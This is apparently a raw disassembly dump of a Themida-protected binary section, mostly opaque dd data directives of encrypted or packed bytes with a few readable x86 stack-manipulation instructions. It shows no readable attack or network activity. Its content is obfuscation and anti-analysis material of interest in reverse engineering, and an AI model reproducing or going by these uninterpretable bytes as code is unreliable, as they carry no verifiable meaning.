		dd 2AB80610h, 89000000h, 10279985h, 0E806h, 5580000h, 0Dh
		dd 2AE90389h
		db 3 dup(0)
byte_5A3193	db 0			; DATA XREF: Themida_:0054D7A0o
		dd 9 dup(77E600h), 0FF77E600h, 60EBFFh,	17h dup(0)
		dd 0E9000000h, 0C22h, 0C16E9h, 85E26800h, 0A5E90615h, 68FFFB02h
		dd 615875Eh, 0FB029BE9h, 87E368FFh, 91E90615h, 56FFFB02h
		dd 3EBD71B4h, 5CDB4F86h, 69F06CA5h, 46D589C6h, 1E763A2h
		dd 76B55785h, 519233C2h, 6DA85EDDh, 8CC16AF1h, 28E3DDD0h
		dd 6BD9019Ah, 32971D7Ah, 0E1523E7Fh, 5C954C0Fh,	0D011B47Fh
		dd 0DD5C825Ch, 2105F126h, 0CC7CC87Ah, 1B302C6Dh, 0BEB2E7A0h
		dd 16E823C7h, 23B638D5h, 5D7AE7E2h, 590CCFA1h, 2FDB6722h
		dd 0DF3B6DCCh, 36130F03h, 0C695CC7Dh, 332FE322h, 0CC2FFE44h
		dd 361A166Dh, 1B0EF04Ah, 6DCC2FA7h, 4D06E33Fh, 31A85C9Bh
		dd 0DA54407Fh, 8470AB5Fh, 5B10CBA0h, 0AE53721Eh, 0F468676Ch
		dd 361A3246h, 0B4F39524h, 38F0E797h, 19A01501h,	0ED01A8C2h
		dd 0D767F994h, 2F1B2896h, 8B604D00h, 9FC19B97h,	4F2C651Ch
		dd 29A5DC84h, 5F053FDCh, 0DCF87C28h, 12A70702h,	35F9426h
		dd 2DFD04E9h, 9A04C25Ah, 21CAC1BDh, 32DA70ECh, 0FD764479h
		dd 1BC05CCFh, 5E04D78Dh, 0D6F36F23h, 2BF6CA60h,	0B366B22h
		dd 2Bh,	1BC05C81h, 97D67A41h, 0D4D7EAC2h, 6DCC7C6Eh, 0D71CAA86h
		dd 3E7F32A9h, 0FDA9E287h, 32C86479h, 4275437Ah,	31408Ah
		dd 0D78C0000h, 7C4002A9h, 0C8A46DCCh, 15C652B3h, 6ED4D787h
		dd 0A46DCC7Ch, 0F5D7EAB0h, 4002A9D7h, 6F6DCC7Ch, 9AD3B78Ch
		dd 4ECAC247h, 0D30AC279h, 5C8A4245h, 5D4C1EBDh,	67FC1FC4h
		dd 777486E2h, 34EEF469h, 671734D1h, 23968640h, 0F50B6594h
		dd 23968C36h, 0EF0C6894h, 0DD30B54Ch, 0BD397B4Bh, 1ECh
		dd 2ABF5C0Fh, 0CC7CC37Fh, 2B47236Dh, 6E3E2F51h,	5F5BE569h
		dd 9733F00Dh, 6F6DCC0Bh, 49C00AEAh, 0BE70B7Dh, 0A61C0FF1h
		dd 3E6DCC0Ah, 0FA4B59D9h, 0DF03D859h, 0C67D1C0Ah, 328F1D91h
		dd 0AF2A4479h, 4A0BDFEh, 96D7CFFDh, 0BBC08F97h,	31D4A987h
		dd 357036A5h, 9EDB904Bh, 4D703C9h, 534C2160h, 366B218Ah
		dd 406Ah, 21C59400h, 5C3B11E6h,	0D78D1BC0h, 0CC7C6ED4h
		dd 1CAA866Dh, 4D7A9D7h,	0F571255Ch, 0CC7CBC06h,	0FFDC586Dh
		dd 437A3225h, 896D775h,	85B84FEFh, 2418D3A8h, 0CAB6F195h
		dd 40BB9166h, 2Fh, 1BC05C8Ch, 97D67A41h, 782C6D20h, 0D745DFFCh
		dd 0CC7C6ED4h, 0EAB0A46Dh, 0A9D7F5D7h, 0CC7C4002h, 0B3C8A46Dh
		dd 37498028h, 0A6C3FEA4h, 5C8A421Eh, 5B4E20BFh,	6DCC7CF3h
		dd 64630F0Bh, 34D286BBh, 2A447932h, 7CED5554h, 24096DCCh
		dd 21A7B5ACh, 46233FEEh, 0D7CFFD7Eh, 7C4002A9h,	0C8A46DCCh
		dd 1FC652B3h, 0CC7CD66Ch, 73322E6Dh, 0EAB094CFh, 4E1D96D7h
		dd 0C2E06249h, 28046DCCh, 0E6A5643h, 0F6E78539h, 366B222Bh
		dd 6B0Bh, 0C05C8100h, 6C1F411Bh, 6DCC7CD6h, 8F15322Eh
		dd 4002A9D7h, 0A46DCC7Ch, 0B3CDB3C8h, 2D4A7F28h, 0CC7CCC76h
		dd 7E4C286Dh, 78C4A9D7h, 0CEC4E388h, 32E5BF9Ch,	2B03A87Ah
		dd 0EA463A79h, 9F161A06h, 694B0EBh, 0C67B3E42h,	0C09D998Dh
		dd 32A9D7E4h, 0E959407Dh, 0D6DCC7Ch, 538D3C11h,	0B3000000h
		dd 0F7AC8228h, 866AC6BAh, 0EBC1969Ah, 8D1BC05Ch, 255C04D7h
		dd 7CB15A71h, 0AB057358h, 0CC749452h, 60E2C9AFh, 0A26DCC9Ah
		dd 0A9D7E4B2h, 50447932h, 7C9D25D4h, 0FD796DCCh, 3232F8E0h
		dd 0C801A87Ah, 30E158DCh, 431F03EFh, 0C2FBB229h, 0AF7552CEh
		dd 5408A42h, 8C000001h,	4E20BF5Ch, 0E75B4E30h, 0FF6DCC7Ch
		dd 0FD5D4623h, 0E76DCC7Ch, 731EECE6h, 2EDF4EE2h, 193D39EDh
		dd 0A2473E44h, 0DD0AB873h, 6EEA6DCCh, 3826E52h,	0C9B3275Ch
		dd 6E225B12h, 0E3E0C5F2h, 9528CF7Bh, 0A9D7ECB8h, 0CC7C4002h
		dd 0B3C8A46Dh, 7C4A7F28h, 0C05CCFFDh, 688CCD80h, 1C16896h
		dd 0E56DCC7Ch, 35D87489h, 222BF697h, 3B0B366Bh,	81000000h
		dd 411BC05Ch, 0BA3E0F0Ch, 0CAEEDB12h, 9CAD9A4Eh, 5F0FB78Ah
		dd 0D794304Dh, 0CC7C6ED4h, 1CAA866Dh, 7A32F5D7h, 96D77543h
		dd 90376B20h, 54933586h, 58F05B70h, 5B40h, 0C05C8C00h
		dd 0D67A411Bh, 0D7EAC297h, 7C4002A9h, 2DA46DCCh, 0D0544077h
		dd 7EF1C7F4h, 8B6ED966h, 239F8A6Eh, 0A16DCCBDh,	0BD76CCBFh
		dd 9C8E6DCCh, 0CCBD55EDh, 91B5B16Dh, 0AA70E4BCh, 4002A9D7h
		dd 0A46DCC7Ch, 235C11C8h, 2D6F36Fh, 0D796D728h,	4A9680FFh
		dd 863EF5D2h, 8A42C94Fh, 0F53B7932h, 3262E2h, 0E05A462Ah
		dd 2D162EEBh, 0EB00B85Ch, 0CB7FBA70h, 22C3934Ch, 70EB05E1h
		dd 8F937FBAh, 279DCCBAh, 0F86DCC9Eh, 1661A4Fh, 1C50290Fh
		dd 0DE91485Fh, 50E3F5A1h, 0AA590BB1h, 4C812A0Bh, 2D620990h
		dd 90340779h, 0F512B05Bh, 76F26DCCh, 0ADCAA65Ah, 4EF57F09h
		dd 80B56EB7h, 7B6077CCh, 9639AA61h, 81DD67FCh, 1A78C695h
		dd 0E89B943Ch, 0D061AC49h, 3941397Ah, 8B000000h, 50447932h
		dd 0CC7CB909h, 0B6EF966Dh, 0DF14CBCAh, 0D2782F33h, 0DAEEB97h
		dd 0E9984A76h, 28C9904Ah, 775B964Ch, 9D2A78Bh, 0A1DC9262h
		dd 0ACC2ABC5h, 0E15EABADh, 0DF6DF106h, 50447932h, 75875463h
		dd 0F9F9F4B6h, 0BA949067h, 0FE5DE5A4h, 0BDB99426h, 2AC916A0h
		dd 77EC9FB1h, 8F9E169Dh, 0E4A7B993h, 9E16235Eh,	0E19DBAB6h
		dd 16230CBAh, 3DD4EF9Eh, 7EC4C799h, 969E1623h, 235DE5A4h
		dd 0BDB99E16h, 0F2BBC499h, 0D23F90D6h, 28h, 20BF5C38h
		dd 7CF75B4Eh, 130F6DCCh, 92CB8239h, 984F93B8h, 0BBEEAB0Ch
		dd 0CC7472D0h, 0BA96926Dh, 12B0199Dh, 1C000000h, 4E20BF5Ch
		dd 0CC7CF35Bh, 3D0F0B6Dh, 1A8EC77Eh, 1B4408Ch, 1E400000h
		dd 0CC7CD76Bh, 16332F6Dh, 26C35C8Eh, 0CC7CDF63h, 6332376Dh
		dd 0B96DF43Ch, 25F3CFF3h, 7932CFFDh, 96D77644h,	7C2F889Ah
		dd 958B1A3Fh, 75B056D5h, 0EC8A581h, 6004D778h, 0F1A5E086h
		dd 0C1A55175h, 222AF3ACh, 390A366Bh, 80000000h,	8E1CC35Ch
		dd 7C6ED4D7h, 0B4866DCCh, 0CC7C4DF5h, 7F32A96Dh, 783E223Eh
		dd 7B32F5D7h, 8A427442h, 8A5C04D7h, 7BF7ABE2h, 3C868557h
		dd 0D86DCC7Ch, 30C27F5Ch, 3A000000h, 8E1CC35Ch,	7F32A9D7h
		dd 0C082293Eh, 426DCC7Ch, 0F5D78412h, 28427B32h, 0DCCFFAB1h
		dd 6DCC7C66h, 0ACBEA27Eh, 0CC7C45FDh, 0A8C5A16Dh, 328A421Ch
		dd 0FD764479h, 80C05CCFh, 9D998DCCh, 772B6A1Eh,	3551D7FBh
		dd 222BF697h, 440B366Bh, 81000000h, 8D1BC05Ch, 0D08E96D7h
		dd 67548F33h, 18D095FDh, 153135E1h, 7B3E2038h, 0B66D8AC9h
		dd 6DCC8C0Ch, 0D7BE8CE8h, 437A32F5h, 7B3E4275h,	0D66E8BC8h
		dd 6B40h, 0D7794000h, 7C5BE7A2h, 5FBB6DCCh, 5CDE6683h
		dd 1F411BC0h, 510D0A2Eh, 0D7BE7DA2h, 6DCCF36Bh,	0F2BA8F8Bh
		dd 7C6ED4D7h, 7A646DCCh, 0D9CD0EBFh, 7C14AE5Dh,	74F06DCCh
		dd 0BB95C157h, 7C5CE6A5h, 21B86DCCh, 0E044306Fh, 0D75DE704h
		dd 6296D7F5h, 2F77F988h, 5175B056h, 0D209BF7Ch,	9F23E6F8h
		dd 0B06DCC1Bh, 4ECAC2F7h, 8A42B379h, 235E04D7h,	5DD6F36Fh
		dd 631F65A9h, 55030738h, 69D68571h, 0BE6DCC18h,	447B3109h
		dd 0AE557420h, 0DD9E8D79h, 51B47146h, 965AC6A7h, 0ED8413BAh
		dd 89639E44h, 0DE7E8164h, 68855CE3h, 7C3258EEh,	90365541h
		dd 0D7ECA155h, 1A55F938h, 61EE79Eh, 7D316DCCh, 0CE1A1542h
		dd 7D05EB45h, 0C24AA659h, 2E2C336Bh, 9EFFFFFEh,	0CC7C4402h
		dd 7C9DA96Dh, 84576DCCh, 0D8C1A6DBh, 33D57BB8h,	0EB56E8Bh
		dd 0F1923302h, 92330255h, 33020CBAh, 255F192h
		dd 5145233h, 26FB2DCDh,	698D89DBh, 0D44E9497h, 8AE65804h
		dd 518A2996h, 36DA617Fh, 0AC29E2F7h, 6A5E10BAh,	66EF49EEh
		dd 9581803Bh, 32204h, 5B9E5000h, 79B058DFh, 568F36C5h
		dd 73B053E2h, 4D8C40B7h, 0FD6F9B91h, 0C9500C4Bh, 0E473E728h
		dd 0D047033Eh, 8366E217h, 0F9309279h, 0D7D46BD9h, 4479324Dh
		dd 87546350h, 0F9F0B675h, 9A8C67F9h, 26FE53EFh,	9BB7B394h
		dd 0FEDE681Fh, 7A999426h, 16CC8F61h, 0A24E8B40h, 0B3C5A2BEh
		dd 137B1AF8h, 4C1EFA9Eh, 0E55D4C32h, 19E1978h, 78CC7625h
		dd 4C289E19h, 0D992492Fh, 0F5B4CAA4h, 9E19784Dh, 26B0CDA9h
		dd 0DECDF8AFh, 9E197864h, 24DC13B9h, 0D5C1F6ADh, 47487551h
		dd 0AB3B0C5Eh, 0A514521h, 9E19B1A4h, 0D5A734C3h, 0A37B30ABh
		dd 0CEABC7FCh, 2C3499D5h, 6EED1394h, 348E7DB8h,	0D0800C33h
		dd 0A7837754h, 285D06D5h, 0F5B4CAB4h, 800C334Dh, 5BF00074h
		dd 0DB93C7CDh, 3AF16A7Fh, 2E1F1105h, 6B82FED9h,	30DBF50Eh
		dd 800CFD92h, 84E1F672h, 95946675h, 8A3978D5h, 0B401F571h
		dd 0BAA4B625h, 351249FFh, 52FA584Eh, 0D2774280h, 62BEC499h
		dd 41E37688h, 35120E02h, 1C90C57Eh, 96D57742h, 0EA7186EAh
		dd 26180C41h, 0A3ABB825h, 0A0CDC597h, 917BE9D8h, 902D7ABh
		dd 8C593ABDh, 0ACBE1DBCh, 6CEBB9FDh, 38F34586h,	0B6B3E88Ah
		dd 1ED2EE6Ah, 0E8A342D1h, 0B6B3E85Ah, 68825EBAh, 8392B4C1h
		dd 3E3B30BCh, 9AD98BB3h, 8D5D8AE6h, 8FACF78h, 1D87BF2Ch
		dd 9D896688h, 1A60Ch, 0EF32D400h, 0CD04BC3Bh, 0AAE38A11h
		dd 0C704A72Eh, 0A1E08413h, 91C33F2Dh, 0AD2CA0DFh, 78FFBBFCh
		dd 942397D2h, 702B6EBh,	0FBCC7635h, 0CB286BD9h,	6004D701h
		dd 0B2567521h, 0EB7A4F73h, 2A8906CCh, 0BDF6A3D2h, 4EF4C799h
		dd 0B69ACF78h, 6F9166CAh, 346C5C91h, 15E647E7h,	0AF0B4B38h
		dd 0CA9167F9h, 363AE627h, 11056121h, 0B4C615A4h, 16CB28F5h
		dd 7115A49Eh, 11E64A36h, 0A4A81511h, 8A403D37h,	121099Ah
		dd 9F4F0000h, 0B359E05Ch, 9439C07Ch, 0B358DF5Bh, 9133C276h
		dd 94F0D652h, 0C783C266h, 0E05C9D50h, 0BE7AB559h, 0DF5B9037h
		dd 0A91910ECh, 4D6BD9FBh, 0BD5CC450h, 115D4C1Eh, 0AD67F9F9h
		dd 0CAD595A8h, 96C32899h, 0C2CC8E93h, 0D6CAA6F8h, 57D308BFh
		dd 0FEF227E0h, 0A7B922B1h, 13DA0EE4h, 0B155E49Eh, 0CF0CBF76h
		dd 0DE9108FAh, 0B107AE98h, 557191F7h, 58E3BD71h, 0EA29DBB3h
		dd 0C26AF106h, 0A148CF8Bh, 28DC1BCDh, 25B4284Ch, 12894582h
		dd 98E0845Eh, 70177044h, 0E7D4F0BEh, 12D4957Fh,	0BE7A569Dh
		dd 84569537h, 2CD80FB5h, 99BDFAADh, 2B20FAC4h, 8ECA148Dh
		dd 3A01D62Fh, 53E25697h, 0E6B874AFh, 8074AF53h,	530CC7A4h
		dd 7A2BAA1Eh, 94B0E59Eh, 0A62CCB18h, 0E0503E07h, 0CBD7CB5h
		dd 0D6D5A7CBh, 942DC03Ch, 1FA366D8h, 0F78072C0h, 2CAB577Bh
		dd 0B08A3E73h, 0C067DBCEh, 0A37F8072h, 9120CAB6h, 0E7041D58h
		dd 1A7Ah, 92458600h, 9A8CCD43h,	97C0C9C7h, 6B02F1B2h, 215FB68Eh
		dd 0C7BBF29Ah, 32B68E6Bh, 52493D80h, 19B06499h,	4F463A75h
		dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h
		dd 0CF554178h, 4EC81h, 2C890000h, 81E58924h, 4C5h, 4ED8300h
		dd 5C242C87h, 5E08950h,	4, 42Dh, 24048700h, 243C895Ch
		dd 1DF168h, 241C8900h, 480CBFh,	0F0E7812Dh, 55052243h
		dd 0F14C28BDh, 81D5F772h, 2D52D8EDh, 0DC58176h,	81532C5Eh
		dd 0E77D28F5h, 5DEF2994h, 13AA68h, 24248900h, 4240481h
		dd 5B000000h, 24048157h, 3C381F2Bh, 5108438Fh, 381F2BB9h
		dd 84B293Ch, 2434FF59h,	4C4835Bh
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		dd 4E7E9C50h, 87E2644Ah, 0B80CC1A0h, 6158929h, 0C38BC503h
		dd 8AA68D8Dh, 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0DFB7C9C3h, 12E9954Dh, 0BD000000h
		dd 885F6A46h, 0F6ABC65Fh, 39BBDD5Ch, 6E5E499h, 9BD8B3Bh
		dd 89061030h, 1009F58Dh, 68A0F06h, 89000000h, 10284595h
		dd 1985C706h, 0C061023h, 0E800006Fh, 0Bh, 410E5CD9h, 32DD5D21h
		dd 233CD04Ah, 100CA195h, 85C75806h, 61022C1h, 0
		dd 6860Fh, 95230000h, 61010F9h,	232DB5FFh, 6A0610h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0ED4EEBC3h, 6ABF724Bh, 0D3E781AEh, 0FF1084E5h, 102DB995h
		dd 6AF806h, 31C995FFh, 0C08B0610h, 69A479EBh, 0FC473DEEh
		dd 1EB048A2h, 83E3CFD7h, 22FA2CDh, 0B1D28087h, 0A8DA9290h
		dd 0A9BE38FFh, 0D051F969h, 0C2F707DDh, 0E242DBB4h, 0B3A438C5h
		dd 0B86F49F3h, 0E31C44C0h, 8A82A2BEh, 0C3322CA7h, 0D5CC7AEBh
		dd 90F2358h, 9237AD0Ah,	9A689087h, 34913AFFh, 0E7A637D1h
		dd 0AD866181h, 78A1C07Bh, 0FBF786DBh, 8D7A92F0h, 25B331Ah
		dd 64F0DDFBh, 89F2BC10h, 7F066101h, 0E9E3D539h,	184h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 40C35747h, 5D0B9580h
		dd 0F860508Fh, 0E961F38Bh, 5, 0A3AC0D8Fh, 0B58DF5F1h, 6158BC4h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 5AC35040h
		dd 0FF873EBh, 0E84h, 5E96000h, 0D0000000h, 879AE082h, 8D61A8B4h
		dd 1354E685h, 8E906h, 60C70000h, 3DA751E6h, 0CE94306h
		dd 78000000h, 720987F1h, 0D3DDC4E5h, 0FFBF47C6h, 60C3FCD0h
		dd 80DF8B66h, 6661D6DBh, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 589A63C3h, 1337B4DEh
		dd 7E9BBBAh, 0BE000000h, 0F99A6AF3h, 0C1F6D6ECh, 69840F04h
		dd 60000000h, 12E8h, 0D3C65700h, 5D297DC1h, 22946FD5h
		dd 40E66161h, 662B12D0h, 0E95BD18Bh, 0Fh, 508B536Fh, 0F308AC44h
		dd 8B2A0B0Ch, 618480C9h, 0CB8BFB8Bh, 75AEC032h,	0F7CF2BFDh
		dd 8BF92BD9h, 0D98B49D7h, 20CD00EBh, 1013Fh, 1874C00Bh
		dd 8B0C708Dh, 0A6CB8BFAh, 75490A75h, 1B8FAh, 9EB0000h
		dd 0E4EB008Bh, 0B8h, 890FCF00h,	7, 1810Fh, 0FFC0000h, 1786h
		dd 12E900h, 0EF640000h,	34AB4C9Ah, 9E1FF8F3h, 0E8DF6CDAh
		dd 0CA353CA2h, 0E860Fh,	9E90000h, 0BA000000h, 0E3296BE6h
		dd 60F61735h, 8C4985C7h, 13F0615h, 12E80001h, 69000000h
		dd 0FFC2D865h, 0C84DB852h, 0A170A254h, 0BC99E188h, 13E9A5h
		dd 1C5E0000h, 0CB78311Dh, 7CFDC8ECh, 0B2FA50C1h, 0F7B5399Fh
		dd 0C0815860h, 5D86h, 1581BA66h, 172368h, 5EDE8B00h, 5E8h
		dd 0EB6F3200h, 0BA66CE76h, 8B5F7F6Fh, 0FE808h, 51D80000h
		dd 0B168CD21h, 0EF50BC0Eh, 0CA262E56h, 6850F9Ah, 0F000000h
		dd 8Ah,	0C1815F00h, 13E56F2Ch, 12BF66h,	96ABF181h, 0B70F41A1h
		dd 0D4E981D0h, 6610A78Eh, 89B2F2BAh, 0BE808h, 9A300000h
		dd 153276B7h, 0A3D8AC74h, 8DE281BDh, 5B0D82D2h,	0F04E883h
		dd 88Eh, 2870F00h, 8B000000h, 1EE83DEh,	27850Fh, 8D0F0000h
		dd 0Bh,	89E28160h, 0F279C08h, 0E961D8B7h, 29h, 23B35497h
		dd 4349AFF8h, 7BF963DBh, 9598FBCh, 0DA81666Ch, 5CE9B03Ch
		dd 1BFFFFFFh, 8031B5ABh, 0A0D1275Ch, 46DA38ABh,	13CE909h
		dd 4Fh dup(0)
		dd 0BD830000h, 6101AD9h, 0B6840F01h, 6A000005h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0FBD2C350h, 137FE00Dh, 1800F22h, 0FC000000h,	0AE9h
		dd 3E780E00h, 1BA1759Ah, 0C6A3EFE3h, 1023E585h,	0DE94306h
		dd 7A000000h, 0A594280Bh, 0AB9FB2Eh, 557036FDh,	4E8h, 0A5D0F500h
		dd 0EE9ECh, 8D2B0000h, 31FF77C1h, 53CCF8AAh, 1FA1D196h
		dd 5E950h, 12E40000h, 8B6B0A97h, 50042444h, 68D0F52h, 0F000000h
		dd 8Ah,	0F310F00h, 687h, 860F00h, 5A000000h, 0E9008B58h
		dd 10h,	0A36B7DAh, 0A825C8C4h, 4E08C30h, 0A17BAC25h, 4244489h
		dd 7E95250h, 60000000h,	0C3AC2D3Bh, 310F8A3Dh, 52505250h
		dd 585A310Fh, 5250310Fh, 585A310Fh, 585A585Ah, 1800F58h
		dd 0FC000000h, 1D45B5FFh, 6A0610h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 29392BC3h, 58D0E6F1h
		dd 6660F914h, 0FF32DBFh, 286h, 615B5100h, 0FE9h, 249DF600h
		dd 828A8F17h, 35377662h, 0E589FED3h, 858A858Dh,	0E9600613h
		dd 9, 8A9D141Ah, 35C57108h, 61F88AD9h, 0BB60D0FFh, 273297E1h
		dd 0AE9h, 0ED609400h, 42AC56BDh, 61E085BDh, 8B98589h, 0FC600610h
		dd 0C78B6652h, 85C6615Fh, 61023E5h, 4E8F850h, 56000000h
		dd 0E9A8ADADh, 12h, 918B5298h, 9E6B7DBBh, 9E302A4Eh, 632BB765h
		dd 60505089h, 24448B61h, 0E9525004h, 6,	0E928A61Eh, 310FE1C4h
		dd 0F525060h, 8B585A31h, 585A61FAh, 5660008Bh, 77C7F6BEh
		dd 89615857h, 0E9042444h, 0Ch, 12A2EEB4h, 430E8ED5h, 5C881676h
		dd 1820F58h, 0F8000000h, 1D45B5FFh, 6A0610h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 840F56C3h
		dd 13h,	0EE9h, 0C81D9D00h, 0A38DCD04h, 69F57B20h, 8D9DFABDh
		dd 13858A85h, 0D0FFF506h, 8A0F60h, 60000000h, 88A0BA66h
		dd 6135CE80h, 21858961h, 0F061020h, 0C8Dh, 6890F00h, 0F000000h
		dd 8Bh,	2FE46800h, 10E9D6FCh, 99000000h, 0FAA7C8E6h, 7B32943Fh
		dd 0D5F15FFh, 81B1717Ch, 87CB2434h, 6A2673h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 1F092AC3h
		dd 6003FFF9h, 0FE8h, 0FA4DE200h, 2DE29A8Dh, 52A3B76Dh
		dd 0DEBE6794h, 8B535EF9h, 0FC615ADFh, 1D45B5FFh, 6A0610h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 51F72CC3h, 0F94CB0E6h, 8160CC9Eh, 0FE693EAh,	0AE845h
		dd 0BCAF0000h, 0DEC6E863h, 0AA46FD5Ah, 5962E880h, 6E86061h
		dd 0C7000000h, 0E76F3Eh, 0D8BF0F23h, 2870F5Bh, 8B000000h
		dd 858D61DAh, 613858Ah,	6E9h, 5889DB00h, 0FF2A8AA7h, 0C880FD0h
		dd 0F000000h, 68Ah, 840F00h, 89000000h,	10061D85h, 85C6FC06h
		dd 61023E5h, 51006A50h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 4A64323Fh, 142F6852h, 8F0FDDF4h
		dd 10h,	0A860Fh, 5E90000h, 46000000h, 1B65EA77h, 79243481h
		dd 6A4A68C8h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 3D7EC352h, 6660D657h, 0FE9CA8Bh
		dd 0EC000000h, 0B395F859h, 2A5FFC12h, 429AED57h, 0FF61756Bh
		dd 101499B5h, 0CE906h, 37DB0000h, 0CB9BD300h, 94FA7AE1h
		dd 858D218Fh, 6103A32h,	6810F60h, 0F000000h, 8Ch, 0D68B6600h
		dd 0F9D0FF61h, 0FE9h, 0C7ECF800h, 0C78E2C23h, 2E645665h
		dd 25B92CC4h, 2F958589h, 0E8600610h, 0Ch, 792E935Dh, 0C2BAA86Fh
		dd 0FCEB6D19h, 6159F18Bh, 10E9h, 0A752DC00h, 256D5BE4h
		dd 0A661A1BBh, 2EBE3779h, 187E9FEh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0DA8EE9C3h
		dd 6167CBCh, 1839BE60h,	8D0F3AD2h, 5, 0D0DF3EBEh, 66606112h
		dd 0B966D08Bh, 5061CFB2h, 8D0F5250h, 0Dh, 8E9h,	0F3239C00h
		dd 4EA252B9h, 50310F46h, 0F616052h, 0F525031h, 5A585A31h
		dd 89585A58h, 0AE9242Ch, 6C000000h, 0C72824E0h,	127BA7EFh
		dd 6AEC8B14h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E95EC355h, 0Ch, 0AE7CB40Dh, 21063BA3h
		dd 61B76BF4h, 0FFCC483h, 880h, 28B0F00h, 60000000h, 890F6061h
		dd 1, 0E8F8h, 815A0000h, 1593FBEAh, 0FC45C706h,	0
		dd 1AD9BA83h, 0F010610h, 9884h,	6A5200h, 92FF0F6Ah, 61008B9h
		dd 0BF82895Ah, 8D06158Dh, 158DC39Ah, 3C75206h, 128h, 92FF5053h
		dd 6102021h, 9A8D525Ah,	6158DC3h, 0BFB2FF53h, 0FF06158Dh
		dd 102F9592h, 0C00B5A06h, 9A8D5074h, 6158DC3h, 33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 5DBA8D0Ch, 8B061002h, 0A4F30C4Dh,	52AAC032h
		dd 8D0875FFh, 10025D82h, 92FF5006h, 610061Dh, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 810FF500h, 1, 8DD28BF9h, 1595838Dh, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 877D7F2Ah, 0EC803105h, 0E19509C9h, 5606100Dh, 5870Fh
		dd 81660000h, 5F0F56DBh, 9F58D89h, 0BF0F0610h, 1985C7D0h
		dd 64061023h, 6A00005Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0ACF7C353h,	5BCC606Dh
		dd 0E4DE8166h, 0DBBF0F4Ah, 22C185C7h, 610h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 9290B1C3h, 0BD89A8DAh, 61021BDh, 11EDB5FFh, 0FFF80610h
		dd 102DB995h, 0A1950106h, 6A061005h, 0C995FF00h, 8B061031h
		dd 0EF68EBC0h, 19D2F850h, 4FBFFD9Dh, 618AEC0Dh,	9EC500B9h
		dd 0CD8426E0h, 74D0F20Dh, 0F616EC39h, 0E6EACE11h, 0C00FE4DBh
		dd 102FA0F5h, 0E8D85BD1h, 0C04AC2E5h, 0E582AA6h, 4D7100A5h
		dd 5AE8E707h, 445105E7h, 0E93D30DFh, 7F65D6C7h,	1923220Eh
		dd 0E904246Ch, 3774B6D8h, 7AAF5353h, 208AA5B8h,	918F8458h
		dd 424EE637h, 0E8D07A97h, 0Ch, 2685D34Ah, 0D1015957h, 0B3A39FAh
		dd 0BE9h, 507D1E00h, 7941F6C6h,	0ECB22988h, 41F1815Fh
		dd 81501048h, 648DC7h, 0B5BD8900h, 0BA06101Dh, 0
		dd 893A34FFh, 101E018Dh, 0C3815B06h, 673B0C5Ch,	2318589h
		dd 0F3810610h, 54C1FF32h, 1358D8Bh, 0EB810610h,	75731C93h
		dd 10E8h, 7ADC9300h, 0D60656B7h, 8EE11756h, 0F8B072A2h
		dd 11E9B2h, 55CD0000h, 74B18E8Eh, 674B728h, 0CD17E2D4h
		dd 5E3AC00Eh, 8F21B453h, 13E81704h, 0B8000000h,	7A038179h
		dd 0A14D33B4h, 0B7C260C3h, 0C1C6B52Eh, 816689FAh, 5EB492E8h
		dd 286DBD29h, 0EA830610h, 9D8D3103h, 4A06102Eh,	0B458501h
		dd 0FA810610h, 0FFFF9C6Ch, 14850Fh, 8B0F0000h, 2, 22E9CF8Bh
		dd 0CF000000h, 0C4576B54h, 0F38BDD47h, 0FFFF4BE9h, 91A8CCFFh
		dd 0CCFB333Ah, 2E7E7C64h, 0E1D5C7BEh, 22A560DCh, 798D8D88h
		dd 89061597h, 101D1D8Dh, 0F58D8906h, 6A061009h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 5F98C356h, 1985C756h, 54061023h, 0F000073h, 85C7C6BFh
		dd 61022C1h, 0
		dd 4F66BBEh, 21B5FF7Fh,	6A061028h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0EC0C355h
		dd 4FAB25DDh, 0B995FFB9h, 306102Dh, 1005EDBDh, 0FF006A06h
		dd 1031C995h
dword_5A4BE4	dd 0EBC08B06h, 3BB3CC4Ah, 53139E76h, 8B0E26Fh, 10966097h
					; DATA XREF: Themida_:0054D188o
		dd 1F6BFCDEh, 0A7004B2Bh, 0D26B51A2h, 0E6FF763Ah, 8CEFE606h
		dd 0C9040411h, 28AE13ABh, 803F0621h, 50178F5Ah,	221291F0h
		dd 0DCFAF2FFh, 4C18C913h, 44F90221h, 8A748BC7h,	0E80B4379h
